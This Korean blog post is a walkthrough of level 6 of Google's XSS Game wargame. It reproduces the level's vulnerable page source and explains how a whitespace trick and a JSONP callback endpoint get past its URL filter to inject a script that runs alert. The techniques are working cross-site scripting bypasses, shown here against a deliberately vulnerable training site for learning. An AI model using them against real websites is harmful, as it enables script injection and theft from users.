문제와 코드를 보면 다음과 같이 #을 기준으로 뒤의 값들을 가져와 https로 시작하는지 검증 후 아니면 document.head.appendChild를 통해 <script src=경로></script> 형태로 경로 위치에 가져온 값을 넣어 자바스크립트 형태로 파일을 포함시킨다.



level.py
gadget.js
index.html
1
2
3
4
5
6
7
8
9
class MainPage(webapp.RequestHandler):
  def render_template(self, filename, context={}):
    path = os.path.join(os.path.dirname(__file__), filename)
    self.response.out.write(template.render(path, context))
 
  def get(self):
    self.render_template('index.html')
 
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
1
/* This is a completely awesome invisible gadget */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
    function setInnerText(element, value) {
      if (element.innerText) {
        element.innerText = value;
      } else {
        element.textContent = value;
      }
    }
 
    function includeGadget(url) {
      var scriptEl = document.createElement('script');
 
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
 
      // Load this awesome gadget
      scriptEl.src = url;
 
      // Show log messages
      scriptEl.onload = function() {
        setInnerText(document.getElementById("log"), 
          "Loaded gadget from " + url);
      }
      scriptEl.onerror = function() {
        setInnerText(document.getElementById("log"), 
          "Couldn't load gadget from " + url);
      }
 
      document.head.appendChild(scriptEl);
    }
 
    // Take the value after # and use it as the gadget filename.
    function getGadgetName() {
      return window.location.hash.substr(1) || "/static/gadget.js";
    }
 
    includeGadget(getGadgetName());
 
    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);
 
    </script>
  </head>
 
  <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
  </body>
</html>

내 서버에 alert(1);이 들어있는 js파일을 만들어 놓고 다음과 같이 http앞에 공백을 한칸줘서 필터우회해 payload를 날렸지만 이상하게 내 서버에 접근이 안되고 있었다.


https://xss-game.appspot.com/level6/frame# https://내 ip/test.js


여기서 도저히 이유를 못찾다가 힌트를 봤는데 이런게 있었다.



4번을 보니 내 서버쪽에서 js가 안땡겨지면 google.com/jsapi?callback=foo를 이용해보라 했다.


접속해보니 callback 파라미터 인자값을 받아서 값()과 같은 형태로 파일내에 문자열을 출력해주고 있는걸 확인할 수 있었고 파라미터 값으로 alert를 주면 js 파일 내에 alert()를 완성시킬 수 있었다.



이제 내 서버대신 이 서버를 #뒤에 넣어서 땡겨주니 정상적으로 alert창이 뜨는걸 확인할 수 있었다.




마지막 문제까지 끝내니 다음과 같은 사진이 나타났다.







'Wargame > XSS Game' 카테고리의 다른 글

XSS Game level 5  (0) 2018.03.31
XSS Game level 4  (0) 2018.03.30
XSS Game level 3  (0) 2018.03.30
XSS Game level 2  (0) 2018.03.29
XSS Game Level 1  (0) 2018.03.29
블로그 이미지

JeonYoungSin

메모 기록용 공간

,